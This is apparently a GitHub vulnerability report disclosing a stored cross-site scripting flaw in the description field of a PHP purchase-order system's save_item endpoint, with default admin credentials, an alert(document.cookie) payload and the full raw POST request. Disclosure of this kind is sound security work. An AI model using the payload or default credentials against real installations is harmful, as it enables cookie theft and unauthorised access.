Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

BUG_Author: biantaibao

Vulnerability url:/purchase_order/classes/Master.php?f=save_item

POST form-data parameter name="description" exists stored cross-site scripting

Steps to reproduce

1.Go to the admin Login

http://localhost/purchase_order/admin/login.php

Default Admin Access Information Username: admin / Password: admin123

2.Click on "Item List" and Click on "+ Create New"

3.Put Payload into the name="description" parameter

Payload:<script>alert(document.cookie)</script>

image

4.Click on Save

Transmission packet

POST /purchase_order/classes/Master.php?f=save_item HTTP/1.1
Host: localhost
Content-Length: 456
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVgmE4IS3SY3HsV8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/purchase_order/admin/?page=items
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: revenue[LastUrl]=%2Frates%2Fadmin%2Fsystem_settingslist.php; PHPSESSID=i6hni6v878818jfsm3ur8n792s
Connection: close

------WebKitFormBoundaryEVgmE4IS3SY3HsV8
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryEVgmE4IS3SY3HsV8
Content-Disposition: form-data; name="name"

1
------WebKitFormBoundaryEVgmE4IS3SY3HsV8
Content-Disposition: form-data; name="description"

<script>alert(document.cookie)</script>
------WebKitFormBoundaryEVgmE4IS3SY3HsV8
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundaryEVgmE4IS3SY3HsV8--

5.Payload will trigger when a user visits on http://localhost/purchase_order/admin/?page=items

image